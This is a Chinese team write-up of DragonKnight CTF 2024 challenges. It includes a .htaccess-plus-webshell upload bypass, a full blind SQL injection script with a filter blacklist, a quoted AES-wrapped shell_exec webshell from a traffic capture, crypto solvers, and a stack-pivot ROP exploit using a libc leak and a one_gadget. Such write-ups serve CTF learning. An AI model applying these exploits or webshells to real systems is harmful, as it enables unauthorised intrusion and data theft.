DragonKnight CTF2024部分wp
最终成果
又是被带飞的一天,偷偷拷打一下队里的pwn手,只出了一题
这里是我们队的wp
web
web就出了两个ez题,确实很easy,只是需要一点脑洞(感觉),
ezsgin
dirsearch扫一下就发现有index.php.bak文件,拿下来就有了index.php源码
<?php
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){extract($_GET);$token = base64_decode($token);$token = json_decode($token, true);$username = $token['username'];$password = $token['password'];$isLocal = false;if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){$isLocal = true;}if($isLocal){echo 'Welcome Back,' . $username . '!';//如果 upload 目录下存在$username.png文件,则显示图片if(file_exists('upload/' . $username . '/' . $token['filename'])){// 显示图片,缩小图片echo '<br>';echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';} else {echo '请上传您高贵的头像。';// 写一个上传头像的功能$html = <<<EOD<form method="post" action="upload.php" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Upload"></form>EOD;echo $html;}} else {// echo "留个言吧";$html = <<<EOD<h1>留言板</h1><label for="input-text">Enter some text:</label><input type="text" id="input-text" placeholder="Type here..."><button οnclick="displayInput()">Display</button>EOD;echo $html;}
} else {$html = <<<EOD
<!DOCTYPE html>
<html>
<head><title>Login</title>
</head>
<body><h2>Login</h2><form method="post" action="./login.php"><div><label for="username">Username:</label><input type="text" name="username" id="username" required></div><div><label for="password">Password:</label><input type="password" name="password" id="password" required></div><div><input type="submit" value="Login"></div></form>
</body>
</html>
EOD;echo $html;
}
?>
<script>function displayInput() {var inputText = document.getElementById("input-text").value;document.write(inputText)}
</script>
这里有个文件上传的点,但是需要本地访问,本来想尝试看能不能xss搞ssrf,太菜了不会
那就自己构造上传,在index.php下面修改html,把源码里的上传表单加上去就行,然后bp拦截一下数据包,研究一下上传
发现没有对文件后缀名限制,但是上传php后apache不解析,肯定要传.htaccess修改上传目录的apache文件解析设置,尝试了很多,最后发现php_flag engine 1
可以,后面也提示了要修改文件解析引擎
上传后,蚁剑连接值钱传的webshell,查看flag即可
ezlogin
一开始要你登录,源码还提示有个注册的页面,注册后再登录,就提示you are not admin,当时还以为要ssrf,结果发现cookie里有个base64的token,解一下就是类似下面这个字典
{'username':'abc','token','32位长串','is_admin',0}
于是把is_admin
改为1,再访问,就重定向到了home.php,回显了我这个账户的密码,后面把username改为admin,就提示我不要乱改用户名,看来会检验token,当时还以为token是服务端发的,就没管了
其实可以发现,给home.php传的数据只有上面那个cookie的字典,但是却能显示密码,所以我猜测有数据库查询,可能考二次注入,注册个hello'/**/and/**/1=1#的
账户试试,
当时想跑一下fuzz,本来是想request或session先发一边请求拿到cookie,再去注入,结果测试了多次,response.headers里根本就没有Set-cookie
卡了半个多小时,后面发现token的长度是32位,猜测是username的md5,一试还真是,然后就可以fuzz测试了,测出来过滤了空格,union,< >以及很多可以用来时间盲注的函数,结合这里只返回user not found
和密码的回显,所以这里就是布尔盲注,过滤了空格,用/**/可以绕,也不用注册来搞二次了,因为有自带一个admin用户
写脚本就完事了,脚本小子火速出击
import base64
import json
import requests
import hashlib
import time
port=32616
register_url=f'http://challenge.qsnctf.com:{port}/register.php'
login_url=f'http://challenge.qsnctf.com:{port}/login.php'
home_url=f'http://challenge.qsnctf.com:{port}/home.php'
Token={"username":"admin'/**/and/**/1=2#", "token":"bb89ba321a6adc27803fcd1f7ad8c094", "is_admin":1}
session=requests.session()
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8','Cache-Control': 'max-age=0','Content-Type': 'application/x-www-form-urlencoded','Origin': 'http://challenge.qsnctf.com:31208','Proxy-Connection': 'keep-alive','Referer': 'http://challenge.qsnctf.com:31208/','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
}
blacklist=['+', 'handler', 'sleep', 'SLEEp', 'having', '-~', 'BENCHMARK', 'left', 'Left', 'right', 'Right', '--+', '--', '!', '%', '+', 'xor', '<>', '>', '<', '^', 'BY', 'By', 'CAST', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', 'left', 'right', 'union', 'UNIon', 'UNION', '"', '&', '&&', '||', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEFT', 'sleep', '|', 'ORDER', 'SET', 'THEN', 'UNION', 'WHEN', 'set', 'drop', 'inset', 'CAST', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'CREATE', 'DROP', 'floor', '%df', 'concat_ws()', 'concat', 'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'SET', 'updatexml', 'SHOW', 'THEN', 'benchmark', 'VARCHAR', 'WHEN', '`', '%0a', '%0A', '%0b', 'mid', 'REGEXP', 'RLIKE', 'sys schemma', 'XOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '%0c', '%0d', '%a0', '@', '%27', '%23', '%22', '%20']
def get_base64_str(dic):return base64.b64encode(json.dumps(dic).encode()).decode()
def get_dict_from_hex(target):hex_bytes = bytes.fromhex(target)ascii_str = hex_bytes.decode('ascii')base64_bytes = base64.b64decode(ascii_str)return base64_bytes.decode()def get_hex_from_dict(dic):return get_base64_str(dic).encode('ascii').hex()def fuzz():blacklist=[]with open('sql.txt','r') as file:for line in file:session=requests.session()Token['username']=line.strip()Token['token']=hashlib.md5(line.strip().encode()).hexdigest()res1=session.post(url=register_url,data=data,headers=headers,)TOKEN=get_hex_from_dict(Token)cookies={'TOKEN':TOKEN}res2=session.post(url=login_url,data=data,headers=headers,cookies=cookies)if 'Hacker' in res2.text:print(f'{line.strip()} is baned')blacklist.append(line.strip())time.sleep(1)print(blacklist)def condition(username):Token['username']=usernameToken['token']=hashlib.md5(username.encode()).hexdigest()TOKEN=get_hex_from_dict(Token)cookies={'TOKEN':TOKEN}res2=session.get(url=home_url,headers=headers,cookies=cookies) if 'Hacker' in res2.text:print(f'{username} is not!')return Falseif 'admin' in res2.text:return Truereturn False
def get_tbs_name():"""tbs_name=['user','secret']"""tb_num=2tbnames_list=[]# for i in range(50):# username="admin'"# username = username+f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#".replace(' ','/**/')# Token['username']=username# Token['token']=hashlib.md5(username.encode()).hexdigest()# TOKEN=get_hex_from_dict(Token)# cookies={'TOKEN':TOKEN}# res2=session.get(url=home_url,headers=headers,cookies=cookies)# if 'Hacker' in res2.text:# print(f'{username} is not!')# if 'admin' in res2.text:# tb_num=i# breakprint(f'表数为{tb_num}')for i in range(tb_num):name=''name_length=0for j in range(30):username="admin'"+f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#".replace(' ','/**/')if condition(username):name_length=jprint(f'长度为{j}')breakfor j in range(1,name_length+1):for k in range(33,127):username="admin'"+f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k}#".replace(' ','/**/')if condition(username):name+=chr(k)print(name)breaktbnames_list.append(name)def get_columns_name():tbs_name=['user','secret'] secrets_columns=[] #flag, sseeccrreettnums=2 #2#直接找secret的字段数# for i in range(30):# username="admin'"+f" and {i}=(select count(column_name) from information_schema.columns where table_name='secret' and table_schema=database())#".replace(' ','/**/')# if condition(username):# nums=i# print(nums)# breakfor i in range(nums):name_length=0name=''for j in range(30):username="admin'"+f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1)#".replace(' ','/**/')if condition(username):name_length=jprint(f'长度为{name_length}')breakfor j in range(1,name_length+1):for k in range(33,127):username="admin'"+f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1) ,{j},1))={k}#".replace(' ','/**/')if condition(username):name+=chr(k)print(name)breaksecrets_columns.append(name)def get_info():#看完发现两个字段都只有一个值,flag字段的值长为10,明显不对,sseeccrreett是40,应该是这个column='sseeccrreett'table='secret'nums=1 #1for i in range(30):username="admin'"+ f" and (select count({column}) from {table} )={i}#".replace(' ','/**/')if condition(username):nums=iprint(nums)breakfor i in range(nums):name_length=0for j in range(75):username="admin'"+f" and (select length({column}) from {table} limit {i},1 )={j}#".replace(' ','/**/')if condition(username):name_length=jprint(name_length)breakflag=''for i in range(1,41):for k in range(33,127):username="admin'"+f" and ord(substr((select {column} from {table} limit 0,1),{i},1))={k}#".replace(' ','/**/')if condition(username):flag+=chr(k)print(flag)breakget_info()
结果
misc
misc做的还行,雷姆那个脑洞题和队友研究了好久
签到
扫码就行
神秘文字
拿下来就有一个txt和一个压缩包,txt里有
𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``
这个一看就是javascript,真是神奇呢,其实也不难,直接放在浏览器运行会报错,一步步调试就发现是最后一行有问题
(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)
去掉最外面的那个东西,浏览器运行上面这个
八进制解码一下,就是压缩包密码,压缩包解压一下就是flag
Steal_data
其实这题当时没报多大希望,毕竟流量分析一点不会,但是误打误撞出了
拿到流量包,首先分析http,因为我只会看http(哭了)
关键词shell.php
,cmd
,这不就是webshell,追踪一下,就能看到webshell的源码
<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];if ($choice == 'show_source'){show_source(__FILE__);
} else {echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight'), 0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result = $a($cmd);
$test = openssl_encrypt($result , "AES-128-ECB ", $key);
echo $test;
可以执行命令,c2hlbGxfZXhlYw==
就是shell_exec,然后对命令执行的结果aes-128-ecb加密,加密的密钥,源码中也有了,解密一下命令执行的结果就行
然后最后一个命令的结果解密出来就是
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,(101 ,82) ,(0 ,82) ,(82 ,125)]
然后题目提示要找最短路径啥的,然而,数据结构稀烂,根本不会,问gpt出了,结果列表的每个数字转ascii,就是flag
import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,(101 ,82) ,(0 ,82) ,(82 ,125)]# 将边列表转换为图
G = nx.Graph()
G.add_edges_from(lujin)
# 找到最短路径
shortest_path = nx.shortest_path(G, source=102, target=125)
flag=''
for p in shortest_path:flag+=chr(p)
print(flag)
func_pixels
本来我一个人想了好久,结果我队友路过看到我在研究雷姆,果然加入一起研究,研究了半个多小时就出了
题目提示像素很奇怪,(0,0)是怎么回事,然后我就打印了一下(0,0)的RGB值,都挺小的,**转了ascii发现是DBK!**这不就是flag头嘛
果断用画图打开图片,拖到最左上方,发现了端倪,那里有很多不和谐的像素
题目还给了平方的式子提示,然后就观察(0,0),(1,1),(2,4),(3,9)…直到(9,81),发现这些像素跟周围格格不入,
但是左上角这里还有很多不和谐的,观察一下发现是(2,2),(3,3)…(9,9)以及(2,8),(3,27)…(9,727)
然后打印了一下这些不和谐点的rgb值
如图,发现了很多重复值,其中紫色123是{
,125是}
,所以一定是起点和终点,然后就去三个部分中没有重复的数据即可
一开始是先取完一次放的R,再去取二次方的G,这样发现是错的,最后尝试一次方R取一个,2次方G取一个,3次方B取一个,一个循环就出了
from PIL import Image
from collections import Counter# 打开图像文件
image_path = "1.png" # 请替换为你的图像文件路径
image = Image.open(image_path)# 获取图像的宽度和高度
width, height = image.sizer, g, b = image.getpixel((0, 0))
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(0, 0, r, g, b))
print(chr(r),chr(g),chr(b))flag = []
for x in range(0,2):r, g, b = image.getpixel((x, x*x))try:print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(x, x*x, r, g, b))flag.append(r)flag.append(g)flag.append(b)except:continueflag = []
for x in range(10):r, g, b = image.getpixel((x, x))flag.append(r)r, g, b = image.getpixel((x, x*x))flag.append(g)r, g, b = image.getpixel((x, x*x*x))flag.append(b)flags = ""
for num in flag:if num >= 32 and num <= 126:print("ASCII character for {} is {}".format(num, chr(num)))flags += chr(num)else:print("Hexadecimal value for {} is {}".format(num, hex(num)))print(flags)
#DRKCTF{HAHAHAHA_LeiMuIsSoCute}
雷姆确实很可爱
crypto
密码学签到LCG
第一次学LCG算法,主要参考下面的文章,题目与平常不同的是一次性调用两次
LCG-CTF #CSDN
注意在算出 a 之后还要进行开方操作
S n + 1 ≡ a S n + b ( m o d m ) S n + 2 ≡ a 2 S n + a b + b ( m o d m ) 令 T n + 1 = a 2 T n + a b + b ( m o d m ) T n = ( T n + 1 − a b − b ) ∗ ( a 2 ) − 1 ( m o d m ) S_{n+1} \equiv aS_n+b\ (mod\ m)\\ S_{n+2} \equiv a^2S_n+ab+b\ (mod\ m)\\ 令\ T_{n+1} =a^2T_n+ab+b(mod \ m)\\ T_n=(T_{n+1}-ab-b)*(a^2)^{-1}\quad(mod \ m) Sn+1≡aSn+b (mod m)Sn+2≡a2Sn+ab+b (mod m)令 Tn+1=a2Tn+ab+b(mod m)Tn=(Tn+1−ab−b)∗(a2)−1(mod m)
解出 a, b, m 之后就可以使用逆推公式进行逆推
只进行了最多 2^16 次操作,穷举即可
from math import gcd
from functools import reduce
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse, sqrt_modoutputs = [5944442525761903973219225838876172353829065175803203250803344015146870499,141002272698398325287408425994092371191022957387708398440724215884974524650,42216026849704835847606250691811468183437263898865832489347515649912153042,67696624031762373831757634064133996220332196053248058707361437259689848885,19724224939085795542564952999993739673429585489399516522926780014664745253,
]
def crack_unknown_modulus(states):diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]modulus = abs(reduce(gcd, zeroes))return modulusdef crack_unknown_multiplier(states, m):multiplier = (states[2] - states[1]) * mod_inverse(states[1] - states[0], m) % mreturn multiplierdef degenerate(nextSeed, a, b, m):seed = ((nextSeed - a * b - b) * mod_inverse(a * a, m)) % mreturn seed# print("m=", crack_unknown_modulus(outputs))
m = 155908129777160236018105193822448288416284495517789603884888599242193844951X0 = outputs[0]
X1 = outputs[1]
X2 = outputs[2]
# a2 = crack_unknown_multiplier([X0, X1, X2], m)
# a = sqrt_mod(a2, m, all_roots=True)
# a= [60728410741559651595837076320918940692717582926393871702586056157132924440, 95179719035600584422268117501529347723566912591395732182302543085060920511]
a = 60728410741559651595837076320918940692717582926393871702586056157132924440# b = ((X1 - a * a * X0) * mod_inverse(a + 1, m)) % m
b = 31006403622243178411942737943535530004679293793891742767612321661881499410generated = X0
for _ in range(2**16):generated = degenerate(generated, a, b, m)if b"flag" in long_to_bytes(generated):print("Seed:", generated)print("Flag:", long_to_bytes(generated))'''
Seed: 531812496965506450888444937267070589
Flag: b'flag{Hello_CTF}'
'''
MatrixRSA
矩阵RSA题目,之前没见过,用平常的 d 无法解密
上网搜到 A Matrix Extension of the RSA Cryptosystem
这篇论文
g = ∏ k = 0 s − 1 ( p s − p k ) ⋅ ∏ k = 0 s − 1 ( q s − q k ) g=\prod_{k=0}^{s-1}(p^s-p^k)\cdot \prod_{k=0}^{s-1}(q^s-q^k) g=k=0∏s−1(ps−pk)⋅k=0∏s−1(qs−qk)
读了一下论文,按照里面的方法,用sage计算出 g d 即可解密
from Crypto.Util.number import *e = 65537
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [...] # 省略n = p * q
phi = (p^4-1)*(p^4-p)*(p^4-p^2)*(p^4-p^3)*(q^4-1)*(q^4-q)*(q^4-q^2)*(q^4-q^3)
d = inverse(e, phi)M = matrix(Zmod(n), C)
m = M ^ dflag = b""
flag += long_to_bytes(int(m[0, 0]))
flag += long_to_bytes(int(m[0, 1]))
flag += long_to_bytes(int(m[0, 2]))print(flag)
# b'DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}V%\x17\xf1'
pwn
stack
很明显的只溢出了0x8字节,并且还直白说了stack pivoting,但是发现唯一能标志栈的esp和rsp没有用,然后,就卡了一整天。。。
直到终于翻到一篇文章https://blog.csdn.net/hackzkaq/article/details/134457518
不得不说,一下就点醒了我,read函数的调用原来就是最好的利用,然后就先让程序read跳转输入到bss段上,再在bss段上迁移的栈上直接写泄漏的rop链,链结尾再写一次read,还用这个栈继续的结尾,直接写到one_gadget就行了,前面的r12置0直接照抄文章,就连地址都一样(还没怎么懂read两次怎么劫持栈到bss上的,不过后面攻击的思路倒很清晰,骄傲)
exp:
from pwn import *# io = process("./pwn")
io = remote("challenge.qsnctf.com", 32201)context.terminal = 'kitty'elf = ELF('./pwn')
libc = elf.libcio.recv()bss = 0x404040 + 0x100payload = b'A'*0x100 + p64(bss) + p64(0x40119B)
io.send(payload)
payload = b'B'*0x100 + p64(bss + 0x100) + p64(0x40119B)
io.send(payload)
payload = p64(bss + 0x100 + 0x10) + p64(0x0000000000401210) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40119B)
io.send(payload)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
r12 = 0x000000000002f709+libcbase
og = libcbase + 0xe3afe
# 0xe3b01 0xe3b04payload = b'A'*0x20 + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 io.send(payload)io.interactive()